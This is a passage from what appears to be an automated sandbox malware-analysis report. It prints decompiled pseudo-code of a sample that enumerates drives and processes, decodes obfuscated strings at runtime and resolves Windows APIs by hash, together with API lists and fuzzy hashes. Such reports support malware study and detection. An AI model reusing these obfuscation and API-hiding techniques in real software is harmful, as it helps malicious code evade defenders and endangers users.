									 *(_t165 + _t156 - 0x13) = (((( *(_t165 + _t156 - 0x13) & 0x000000ff) - 0x5e << 4) + ( *(_t165 + _t156 - 0x13) & 0x000000ff) - 0x5e + (( *(_t165 + _t156 - 0x13) & 0x000000ff) - 0x5e << 4) + ( *(_t165 + _t156 - 0x13) & 0x000000ff) - 0x5e) % _t162 + 0x7f) % _t162;
									_t156 = _t156 + 1;
									__eflags = _t156 - 6;
								} while (_t156 < 6);
								_t161 = _v12;
							}
							E00F2FDD0(_t138, _t155, _t161,  &_v23, _t138);
							_t161 =  *(_t161 + 0x18);
							_t169 = _t169 + 8;
							_v12 = _t161;
							__eflags = _t161;
						}
						E00F39872(_v16);
						return _v8;
					}
				}
			}




















































































    0x00f23487
    0x00f2348b
    0x00f23490
    0x00f23492
    0x00f23497
    0x00f2349a
    0x00f2349f
    0x00f234a6
    0x00f234a8
    0x00f234ad
    0x00f234af
    0x00f234b4
    0x00f234b4
    0x00f234bb
    0x00f234bd
    0x00f234c1
    0x00f236fd
    0x00f236fd
    0x00f23703
    0x00f234c7
    0x00f234c7
    0x00f234ce
    0x00f234cf
    0x00f234d4
    0x00f234d7
    0x00f234dc
    0x00000000
    0x00f234e2
    0x00f234e6
    0x00f234eb
    0x00f234f0
    0x00f234f3
    0x00f234f8
    0x00f234ff
    0x00f23501
    0x00f23508
    0x00f2350d
    0x00f2350d
    0x00f23510
    0x00f23515
    0x00f23517
    0x00f23520
    0x00f23520
    0x00f23525
    0x00f2352a
    0x00f23531
    0x00f23538
    0x00f2353a
    0x00f2353f
    0x00f2353f
    0x00f23543
    0x00f23545
    0x00f23548
    0x00f2354a
    0x00000000
    0x00000000
    0x00f23553
    0x00f23555
    0x00f23558
    0x00f2355a
    0x00f23561
    0x00f23568
    0x00f2356e
    0x00f23570
    0x00f23572
    0x00f23575
    0x00f23575
    0x00f23578
    0x00f2357b
    0x00f23582
    0x00f23582
    0x00f23588
    0x00f2358d
    0x00f2358d
    0x00f23590
    0x00f23599
    0x00f2359f
    0x00f235a7
    0x00f235a8
    0x00f235ab
    0x00f235b1
    0x00f235b1
    0x00f235b9
    0x00f235c0
    0x00f235c4
    0x00f235c8
    0x00f235cc
    0x00f235d0
    0x00f235d4
    0x00f235d8
    0x00f235dc
    0x00f235e0
    0x00f235e4
    0x00f235e8
    0x00f235ec
    0x00f235f0
    0x00f235f4
    0x00f235f8
    0x00f235fc
    0x00f23600
    0x00f23604
    0x00f23608
    0x00f2360c
    0x00f23610
    0x00f23614
    0x00f23618
    0x00f2361c
    0x00f23620
    0x00f23624
    0x00f23628
    0x00f2362c
    0x00f23630
    0x00f23634
    0x00f23638
    0x00f2363c
    0x00f23640
    0x00f23644
    0x00f23648
    0x00f2364c
    0x00f2365a
    0x00f2365f
    0x00f23661
    0x00f23664
    0x00f23667
    0x00f23669
    0x00f23670
    0x00f23674
    0x00f2367a
    0x00f23676
    0x00f23676
    0x00f23676
    0x00f2367c
    0x00f23680
    0x00f23684
    0x00f23688
    0x00f2368c
    0x00f23690
    0x00f23694
    0x00f2369b
    0x00f2369f
    0x00f236a1
    0x00f236a1
    0x00f236a3
    0x00f236a3
    0x00f236a6
    0x00f236b9
    0x00f236bf
    0x00f236c2
    0x00f236c6
    0x00f236c7
    0x00f236c7
    0x00f236cc
    0x00f236cc
    0x00f236d4
    0x00f236d9
    0x00f236dc
    0x00f236df
    0x00f236e2
    0x00f236e2
    0x00f236e9
    0x00f236fa
    0x00f236fa
    0x00f234dc

    APIs
    • GetLogicalDriveStringsW.KERNELBASE(00000000,00000000), ref: 00F234BB
    • GetLogicalDriveStringsW.KERNELBASE(00000000,?), ref: 00F23515
    • new.LIBCMT ref: 00F2354E
      • Part of subcall function 00F2FDD0: GetLocalTime.KERNEL32(?), ref: 00F2FED3
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: DriveLogicalStrings$LocalTime
    • String ID: .$/$/$/$1$4$6$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$K$P$R$S$[$^$^$^$^${${${
    • API String ID: 1746200723-2521858309
    • Opcode ID: e9b203e9b11232579c4ac7ff48534c9eb0e85d6e909fa579e953781068a314b9
    • Instruction ID: b7f42a1d93ed6102ab7f7e0b826efc738eee4970bebdc25ece3c6d3fac7dc241
    • Opcode Fuzzy Hash: e9b203e9b11232579c4ac7ff48534c9eb0e85d6e909fa579e953781068a314b9
    • Instruction Fuzzy Hash: 7E91A670D092D9DADB11CBA8D844B9EBFF49F55308F08409DD848BB342D3BD9A08D7A5
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F34630 Relevance: 52.6, APIs: 5, Strings: 25, Instructions: 130processstringCOMMON
    Download Yara Rule
    C-Code - Quality: 82%
    			E00F34630(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				short _v528;
				int _v556;
				void* _v564;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				short _v591;
				char _v592;
				signed int _v596;
				signed int _t67;
				void* _t69;
				struct tagPROCESSENTRY32W* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t77;
				int _t79;
				int _t81;
				int* _t82;
				intOrPtr _t83;
				void* _t92;
				intOrPtr _t97;
				intOrPtr _t101;
				void* _t102;
				int* _t110;
				void* _t112;
				void* _t114;
				signed int _t115;
				void* _t116;

				_t91 = __ebx;
				_t67 =  *0xf4a004; // 0x355216d4
				_v8 = _t67 ^ _t115;
				_t114 = __ecx; // executed
				_t69 = CreateToolhelp32Snapshot(2, 0); // executed
				_t112 = _t69;
				if(_t112 != 0) {
					_t71 =  &_v564;
					_v564 = 0x22c;
					Process32FirstW(_t112, _t71); // executed
					if(_t71 != 0) {
						_push(__ebx);
						_t92 = Process32NextW;
						_v596 = 0x7f;
						do {
							_v592 = 0;
							_v591 = 0x67;
							_v590 = 0x78;
							_v589 = 0x5b;
							_v588 = 0x78;
							_v587 = 0x4c;
							_v586 = 0x78;
							_v585 = 5;
							_v584 = 0x78;
							_v583 = 0x5a;
							_v582 = 0x78;
							_v581 = 0x30;
							_v580 = 0x78;
							_v579 = 0x67;
							_v578 = 0x78;
							_v577 = 0x30;
							_v576 = 0x78;
							_v575 = 0x6f;
							_v574 = 0x78;
							_v573 = 0x67;
							_v572 = 0x78;
							_v571 = 0x5b;
							_v570 = 0x78;
							_v569 = 0x67;
							_v568 = 0x78;
							_v567 = 0x78;
							_v566 = 0x78;
							if(_v592 == 0) {
								_t102 = 0;
								do {
									asm("cdq");
									asm("cdq");
									 *(_t115 + _t102 - 0x24b) = ((( *(_t115 + _t102 - 0x24b) & 0x000000ff) - 0x78 + (( *(_t115 + _t102 - 0x24b) & 0x000000ff) - 0x78) * 8) % _v596 + 0x7f) % _v596;
									_t102 = _t102 + 1;
								} while (_t102 < 0x1a);
							}
							_t77 =  *0xf4c2ec; // 0xddcc10
							if( *((intOrPtr*)(_t77 + 0x70)) == 0) {
								_t83 = E00F222A0(_t92, 0, 0, _t112, _t114, 0xd72e57a9);
								_t101 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t101 + 0x70)) = _t83;
							}
							_t79 = lstrcmpiW( &_v528,  &_v591); // executed
							if(_t79 != 0) {
								goto L11;
							} else {
								_push(4);
								_t82 = E00F39867( &_v528);
								_t116 = _t116 + 4;
								if(_t82 != 0) {
									 *_t82 = 0;
									_t57 =  &(_t82[1]); // 0x4
									_t110 = _t57;
									 *_t82 = _v556;
									 *_t110 = 0;
									_t59 = _t114 + 4; // 0xdecf1c
									_t82[2] =  *_t59;
									_t61 = _t114 + 4; // 0xdecf1c
									 *( *_t61) = _t82;
									 *(_t114 + 4) = _t110;
									goto L11;
								}
							}
							break;
							L11:
							_t81 = Process32NextW(_t112,  &_v564); // executed
						} while (_t81 != 0);
						_pop(_t91);
					}
					_t72 =  *0xf4c2ec; // 0xddcc10
					if( *((intOrPtr*)(_t72 + 0x48)) == 0) {
						_t75 = E00F222A0(_t91, 0, 0, _t112, _t114, 0xa5eb6e47);
						_t97 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t97 + 0x48)) = _t75;
					}
					FindCloseChangeNotification(_t112); // executed
				}
				return E00F37A82(_v8 ^ _t115);
			}






















































    0x00f34630
    0x00f34639
    0x00f34640
    0x00f34649
    0x00f3464b
    0x00f34651
    0x00f34655
    0x00f3465b
    0x00f34661
    0x00f3466d
    0x00f34675
    0x00f3467b
    0x00f3467c
    0x00f34682
    0x00f34690
    0x00f34690
    0x00f34697
    0x00f3469e
    0x00f346a5
    0x00f346ac
    0x00f346b3
    0x00f346ba
    0x00f346c1
    0x00f346c8
    0x00f346cf
    0x00f346d6
    0x00f346dd
    0x00f346e4
    0x00f346eb
    0x00f346f2
    0x00f346f9
    0x00f34700
    0x00f34707
    0x00f3470e
    0x00f34715
    0x00f3471c
    0x00f34723
    0x00f3472a
    0x00f34731
    0x00f34738
    0x00f3473f
    0x00f34746
    0x00f3475a
    0x00f3475c
    0x00f34760
    0x00f34770
    0x00f3477a
    0x00f34781
    0x00f34788
    0x00f34789
    0x00f34760
    0x00f3478e
    0x00f34798
    0x00f347a3
    0x00f347a8
    0x00f347ae
    0x00f347ae
    0x00f347bf
    0x00f347c3
    0x00000000
    0x00f347c5
    0x00f347c5
    0x00f347c7
    0x00f347cc
    0x00f347d1
    0x00f347d3
    0x00f347d9
    0x00f347d9
    0x00f347e2
    0x00f347e4
    0x00f347ea
    0x00f347ed
    0x00f347f0
    0x00f347f3
    0x00f347f5
    0x00000000
    0x00f347f5
    0x00f347d1
    0x00000000
    0x00f347f8
    0x00f34800
    0x00f34802
    0x00f3480a
    0x00f3480a
    0x00f3480b
    0x00f34815
    0x00f34820
    0x00f34825
    0x00f3482b
    0x00f3482b
    0x00f3482f
    0x00f3482f
    0x00f34840

    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00F3464B
    • Process32FirstW.KERNEL32(00000000,?), ref: 00F3466D
    • lstrcmpiW.KERNELBASE(?,00000067,00000000,?,?), ref: 00F347BF
    • Process32NextW.KERNEL32(00000000,0000022C), ref: 00F34800
    • FindCloseChangeNotification.KERNELBASE(00000000,?,?), ref: 00F3482F
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcmpi
    • String ID: 0$0$L$Z$[$[$g$g$g$g$o$x$x$x$x$x$x$x$x$x$x$x$x$x$x
    • API String ID: 545148253-716866526
    • Opcode ID: c70ab0e1bf4c0670fd669e475e75da8b092cb1593d10216fe85ea33551b54818
    • Instruction ID: 248873ffe25b2cb8d7633e5612941f2da29727afaddd46b990f4f10fbe1c7748
    • Opcode Fuzzy Hash: c70ab0e1bf4c0670fd669e475e75da8b092cb1593d10216fe85ea33551b54818
    • Instruction Fuzzy Hash: 11517134908298CEDB61CB28CC8C799BFF4AB56314F4440DDD44C6B292D779AB88DF61
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F32600 Relevance: 51.6, Strings: 41, Instructions: 337COMMONCrypto
    Download Yara Rule
    C-Code - Quality: 42%
    			E00F32600(void* __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				signed int _t183;
				intOrPtr _t185;
				intOrPtr* _t186;
				void* _t187;
				intOrPtr _t188;
				intOrPtr* _t189;
				intOrPtr _t192;
				intOrPtr _t195;
				intOrPtr _t198;
				intOrPtr* _t199;
				intOrPtr _t202;
				intOrPtr* _t203;
				intOrPtr _t205;
				intOrPtr* _t206;
				intOrPtr _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				intOrPtr _t251;
				intOrPtr* _t253;
				intOrPtr _t262;
				intOrPtr _t268;
				intOrPtr _t270;
				intOrPtr _t274;
				intOrPtr _t276;
				intOrPtr _t280;
				intOrPtr _t284;
				intOrPtr _t303;
				intOrPtr _t304;
				void* _t305;
				void* _t306;
				void* _t307;
				void* _t308;
				void* _t309;
				intOrPtr _t310;
				intOrPtr _t311;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				void* _t317;

				_t309 = __esi;
				_t303 = __edi;
				_t183 =  *0xf4a004; // 0x355216d4
				_v8 = _t183 ^ _t316;
				_t251 = __ecx;
				_v108 = __edx;
				_v104 = __ecx;
				_v24 = 0;
				_v12 = 0;
				_v20 = 0;
				_v16 = 0;
				asm("o16 nop [eax+eax]");
				while(1) {
					_t185 =  *0xf4c2ec; // 0xddcc10
					_t186 =  *((intOrPtr*)(_t185 + 0xec));
					if(_t186 == 0) {
						_t186 = E00F222A0(_t251, 0, _t186 + 2, _t303, _t309, 0x1668d771);
						_t284 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t284 + 0xec)) = _t186;
					}
					_t258 =  &_v24;
					_t187 =  *_t186(_t251, 1,  &_v24, 0xffffffff,  &_v12,  &_v20,  &_v16); // executed
					if(_t187 == 0) {
						break;
					}
					if(_t187 == 0xea) {
						continue;
					} else {
						return E00F37A82(_v8 ^ _t316);
					}
					L44:
				}
				_v100 = 1;
				if(_v12 >= 1) {
					_t253 = _v24 + 4;
					do {
						_t192 =  *_t253;
						if(_t192 == 0 || _t192 == 0x80000000 || _t192 == 0x40000000) {
							_push(0x7d08);
							_t311 = E00F39867(_t258);
							_t317 = _t317 + 4;
							_v60 = _t311;
							if(_t311 != 0) {
								E00F39000(_t303, _t311, 0, 0x7d08);
								_v56 = 0;
								_t317 = _t317 + 0xc;
								_v55 = 0x41;
								_v54 = 0x76;
								_v53 = 0x56;
								_v52 = 0x76;
								_v51 = 0x16;
								_v50 = 0x76;
								_v49 = 0x79;
								_v48 = 0x76;
								_v47 = 0x1d;
								_v46 = 0x76;
								_v45 = 0x74;
								_v44 = 0x76;
								_v43 = 0x76;
								_v42 = 0x76;
								if(_v56 == 0) {
									_t308 = 0;
									_t37 = _t308 + 0x7f; // 0x7f
									_t315 = _t37;
									do {
										asm("cdq");
										asm("cdq");
										 *(_t316 + _t308 - 0x33) = ((0x76 - ( *(_t316 + _t308 - 0x33) & 0x000000ff) + 0x3b0 + 0x76 - ( *(_t316 + _t308 - 0x33) & 0x000000ff) + 0x3b0) % _t315 + 0x7f) % _t315;
										_t308 = _t308 + 1;
									} while (_t308 < 0xe);
									_t311 = _v60;
								}
								_t198 =  *0xf4c2ec; // 0xddcc10
								_t303 =  *((intOrPtr*)(_t253 - 4));
								_t199 =  *((intOrPtr*)(_t198 + 0x70));
								if(_t199 == 0) {
									_t199 = E00F222A0(_t253, 0, 0, _t303, _t311, 0xd72e57a9);
									_t280 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t280 + 0x70)) = _t199;
								}
								_t258 =  &_v55;
								_push( &_v55);
								_push(_t303);
								if( *_t199() != 0) {
									_v40 = 0;
									_v39 = 0x68;
									_v38 = 0xf;
									_v37 = 0x68;
									_v36 = 0xf;
									_v35 = 0xf;
									_v34 = 0xf;
									if(_v40 == 0) {
										_t307 = 0;
										_t67 = _t307 + 0x7f; // 0x7f
										_t314 = _t67;
										do {
											asm("cdq");
											asm("cdq");
											 *(_t316 + _t307 - 0x23) = (((( *(_t316 + _t307 - 0x23) & 0x000000ff) - 0xf << 5) - ( *(_t316 + _t307 - 0x23) & 0x000000ff) - 0xf) % _t314 + 0x7f) % _t314;
											_t307 = _t307 + 1;
										} while (_t307 < 6);
										_t311 = _v60;
									}
									_t202 =  *0xf4c2ec; // 0xddcc10
									_t203 =  *((intOrPtr*)(_t202 + 0x58));
									if(_t203 == 0) {
										_t203 = E00F222A0(_t253, 0, 0, _t303, _t311, 0x4d9702d0);
										_t276 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t276 + 0x58)) = _t203;
									}
									 *_t203(_t311,  &_v39);
									_t205 =  *0xf4c2ec; // 0xddcc10
									_t206 =  *((intOrPtr*)(_t205 + 0x44));
									if(_t206 == 0) {
										_t206 = E00F222A0(_t253, 0, 0, _t303, _t311, 0x7ba2639);
										_t274 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t274 + 0x44)) = _t206;
									}
									 *_t206(_t311, _v104);
									_v32 = 0;
									_v31 = 0x4f;
									_v30 = 0x18;
									_v29 = 0x18;
									_v28 = 0x18;
									if(_v32 == 0) {
										_t306 = 0;
										_t95 = _t306 + 0x7f; // 0x7f
										_t313 = _t95;
										do {
											asm("cdq");
											asm("cdq");
											 *(_t316 + _t306 - 0x1b) = (((( *(_t316 + _t306 - 0x1b) & 0x000000ff) - 0x18 << 4) + ( *(_t316 + _t306 - 0x1b) & 0x000000ff) - 0x18 + (( *(_t316 + _t306 - 0x1b) & 0x000000ff) - 0x18 << 4) + ( *(_t316 + _t306 - 0x1b) & 0x000000ff) - 0x18) % _t313 + 0x7f) % _t313;
											_t306 = _t306 + 1;
										} while (_t306 < 4);
										_t311 = _v60;
									}
									_t209 =  *0xf4c2ec; // 0xddcc10
									_t210 =  *((intOrPtr*)(_t209 + 0x44));
									if(_t210 == 0) {
										_t210 = E00F222A0(_t253, 0, 0, _t303, _t311, 0x7ba2639);
										_t270 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t270 + 0x44)) = _t210;
									}
									 *_t210(_t311,  &_v31);
									_t212 =  *0xf4c2ec; // 0xddcc10
									_t304 =  *((intOrPtr*)(_t253 - 4));
									_t213 =  *((intOrPtr*)(_t212 + 0x44));
									if(_t213 == 0) {
										_t213 = E00F222A0(_t253, 0, 0, _t304, _t311, 0x7ba2639);
										_t268 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t268 + 0x44)) = _t213;
									}
									 *_t213(_t311, _t304);
									_v96 = 0;
									_v95 = 0x34;
									_v94 = 0x3d;
									_v93 = 5;
									_v92 = 0x3d;
									_v91 = 0x1a;
									_v90 = 0x3d;
									_v89 = 0x41;
									_v88 = 0x3d;
									_v87 = 0x1e;
									_v86 = 0x3d;
									_v85 = 0x2e;
									_v84 = 0x3d;
									_v83 = 0x13;
									_v82 = 0x3d;
									_v81 = 0x2c;
									_v80 = 0x3d;
									_v79 = 0x53;
									_v78 = 0x3d;
									_v77 = 0x4f;
									_v76 = 0x3d;
									_v75 = 0x61;
									_v74 = 0x3d;
									_v73 = 0x2e;
									_v72 = 0x3d;
									_v71 = 0;
									_v70 = 0x3d;
									_v69 = 0x13;
									_v68 = 0x3d;
									_v67 = 0x5f;
									_v66 = 0x3d;
									_v65 = 0x3d;
									_v64 = 0x3d;
									if(_v96 == 0) {
										_t305 = 0;
										_t151 = _t305 + 0x7f; // 0x7f
										_t312 = _t151;
										do {
											asm("cdq");
											asm("cdq");
											 *(_t316 + _t305 - 0x5b) = ((0x3d - ( *(_t316 + _t305 - 0x5b) & 0x000000ff) + 0x1e8 << 2) % _t312 + 0x7f) % _t312;
											_t305 = _t305 + 1;
										} while (_t305 < 0x20);
										_t311 = _v60;
									}
									E00F2FDD0(_t253, _t304, _t311,  &_v95, _t311);
									_t303 = _v108;
									_t170 = _t311 + 0x7d00; // 0x7d00
									_t258 = _t170;
									 *_t258 = 0;
									_t317 = _t317 + 8;
									 *((intOrPtr*)(_t311 + 0x7d04)) =  *((intOrPtr*)(_t303 + 4));
									 *((intOrPtr*)( *((intOrPtr*)(_t303 + 4)))) = _t311;
									 *((intOrPtr*)(_t303 + 4)) = _t258;
								}
							}
						}
						_t253 = _t253 + 0xc;
						_t195 = _v100 + 1;
						_v100 = _t195;
					} while (_t195 <= _v12);
				}
				_t188 =  *0xf4c2ec; // 0xddcc10
				_t310 = _v24;
				_t189 =  *((intOrPtr*)(_t188 + 0xe8));
				if(_t189 == 0) {
					_t189 = E00F222A0(_t251, 0, _t189 + 2, _t303, _t310, 0xa1f2bf63);
					_t262 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t262 + 0xe8)) = _t189;
				}
				 *_t189();
				return E00F37A82(_v8 ^ _t316, _t310);
				goto L44;
			}


















































































































    0x00f32600
    0x00f32600
    0x00f32606
    0x00f3260d
    0x00f32612
    0x00f32614
    0x00f32618
    0x00f3261b
    0x00f32622
    0x00f32629
    0x00f32630
    0x00f32637
    0x00f32640
    0x00f32640
    0x00f32645
    0x00f3264d
    0x00f32659
    0x00f3265e
    0x00f32664
    0x00f32664
    0x00f32678
    0x00f3267f
    0x00f32683
    0x00000000
    0x00000000
    0x00f3268a
    0x00000000
    0x00f3268f
    0x00f3269c
    0x00f3269c
    0x00000000
    0x00f3268a
    0x00f326a1
    0x00f326a8
    0x00f326b1
    0x00f326b4
    0x00f326b4
    0x00f326b8
    0x00f326cc
    0x00f326d6
    0x00f326d8
    0x00f326db
    0x00f326e0
    0x00f326ee
    0x00f326f3
    0x00f326f7
    0x00f326fa
    0x00f326fe
    0x00f32702
    0x00f32706
    0x00f3270a
    0x00f3270e
    0x00f32712
    0x00f32716
    0x00f3271a
    0x00f3271e
    0x00f32722
    0x00f32726
    0x00f3272a
    0x00f3272e
    0x00f32739
    0x00f3273b
    0x00f3273d
    0x00f3273d
    0x00f32740
    0x00f32753
    0x00f32759
    0x00f3275c
    0x00f32760
    0x00f32761
    0x00f32766
    0x00f32766
    0x00f32769
    0x00f3276e
    0x00f32771
    0x00f32776
    0x00f32781
    0x00f32786
    0x00f3278c
    0x00f3278c
    0x00f3278f
    0x00f32792
    0x00f32793
    0x00f32798
    0x00f3279e
    0x00f327a2
    0x00f327a6
    0x00f327aa
    0x00f327ae
    0x00f327b2
    0x00f327b6
    0x00f327c1
    0x00f327c3
    0x00f327c5
    0x00f327c5
    0x00f327d0
    0x00f327e1
    0x00f327e7
    0x00f327ea
    0x00f327ee
    0x00f327ef
    0x00f327f4
    0x00f327f4
    0x00f327f7
    0x00f327fc
    0x00f32801
    0x00f3280c
    0x00f32811
    0x00f32817
    0x00f32817
    0x00f3281f
    0x00f32821
    0x00f32826
    0x00f3282b
    0x00f32836
    0x00f3283b
    0x00f32841
    0x00f32841
    0x00f32848
    0x00f3284a
    0x00f3284e
    0x00f32852
    0x00f32856
    0x00f3285a
    0x00f32865
    0x00f32867
    0x00f32869
    0x00f32869
    0x00f32870
    0x00f32883
    0x00f32889
    0x00f3288c
    0x00f32890
    0x00f32891
    0x00f32896
    0x00f32896
    0x00f32899
    0x00f3289e
    0x00f328a3
    0x00f328ae
    0x00f328b3
    0x00f328b9
    0x00f328b9
    0x00f328c1
    0x00f328c3
    0x00f328c8
    0x00f328cb
    0x00f328d0
    0x00f328db
    0x00f328e0
    0x00f328e6
    0x00f328e6
    0x00f328eb
    0x00f328ed
    0x00f328f1
    0x00f328f5
    0x00f328f9
    0x00f328fd
    0x00f32901
    0x00f32905
    0x00f32909
    0x00f3290d
    0x00f32911
    0x00f32915
    0x00f32919
    0x00f3291d
    0x00f32921
    0x00f32925
    0x00f32929
    0x00f3292d
    0x00f32931
    0x00f32935
    0x00f32939
    0x00f3293d
    0x00f32941
    0x00f32945
    0x00f32949
    0x00f3294d
    0x00f32951
    0x00f32955
    0x00f32959
    0x00f3295d
    0x00f32961
    0x00f32965
    0x00f32969
    0x00f3296d
    0x00f32978
    0x00f3297a
    0x00f3297c
    0x00f3297c
    0x00f32980
    0x00f32994
    0x00f3299a
    0x00f3299d
    0x00f329a1
    0x00f329a2
    0x00f329a7
    0x00f329a7
    0x00f329af
    0x00f329b4
    0x00f329b7
    0x00f329b7
    0x00f329bd
    0x00f329c3
    0x00f329c9
    0x00f329d2
    0x00f329d4
    0x00f329d4
    0x00f32798
    0x00f326e0
    0x00f329da
    0x00f329dd
    0x00f329de
    0x00f329e1
    0x00f326b4
    0x00f329ea
    0x00f329ef
    0x00f329f2
    0x00f329fa
    0x00f32a06
    0x00f32a0b
    0x00f32a11
    0x00f32a11
    0x00f32a18
    0x00f32a2a
    0x00000000

    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID: ,$.$.$4$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$A$A$O$O$S$V$_$a$h$h$t$v$v$v$v$v$v$v$v$y
    • API String ID: 0-3399303798
    • Opcode ID: 20d47655bf65a6872903343502be4826d13335f95a4b691a1c5d6e21b039fbe5
    • Instruction ID: 245200f91f8399df10a3122c8a0f94f6ce853f671b4b4edea4904133bd51f14a
    • Opcode Fuzzy Hash: 20d47655bf65a6872903343502be4826d13335f95a4b691a1c5d6e21b039fbe5
    • Instruction Fuzzy Hash: AEE10670D052C89EEB11CBE8D8447EDBFF4AF55314F08409ED844BB282C7BA9A09D7A1
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F35750 Relevance: 42.2, APIs: 3, Strings: 21, Instructions: 162fileCOMMONCrypto
    Download Yara Rule
    C-Code - Quality: 74%
    			E00F35750(void* __ebx, long __edi, void* __esi, char _a4, intOrPtr _a24) {
				signed int _v8;
				intOrPtr _v12;
				short _v16;
				short _v32;
				long _v36;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				signed int _t54;
				intOrPtr* _t57;
				intOrPtr _t59;
				intOrPtr _t65;
				void* _t67;
				intOrPtr _t76;
				intOrPtr* _t77;
				long _t78;
				intOrPtr _t81;
				intOrPtr _t84;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t87;
				intOrPtr* _t89;
				signed int _t91;
				short* _t93;
				intOrPtr _t97;
				intOrPtr _t100;
				intOrPtr _t102;
				intOrPtr _t104;
				intOrPtr _t106;
				long _t108;
				intOrPtr* _t110;
				WCHAR* _t112;
				void* _t113;
				signed int _t114;
				void* _t115;
				short* _t116;

				_t108 = __edi;
				_t87 = __ebx;
				_t54 =  *0xf4a004; // 0x355216d4
				_v8 = _t54 ^ _t114;
				_v60 = 0;
				_v59 = 0x7b;
				_v58 = 0x6f;
				_v57 = 0x48;
				_v56 = 0x6f;
				_v55 = 9;
				_v54 = 0x6f;
				_v53 = 0x3b;
				_v52 = 0x6f;
				_v51 = 0x52;
				_v50 = 0x6f;
				_v49 = 0x48;
				_v48 = 0x6f;
				_v47 = 0x1f;
				_v46 = 0x6f;
				_v45 = 0x61;
				_v44 = 0x6f;
				_v43 = 0x4f;
				_v42 = 0x6f;
				_v41 = 0x61;
				_v40 = 0x6f;
				_v39 = 0x6f;
				_v38 = 0x6f;
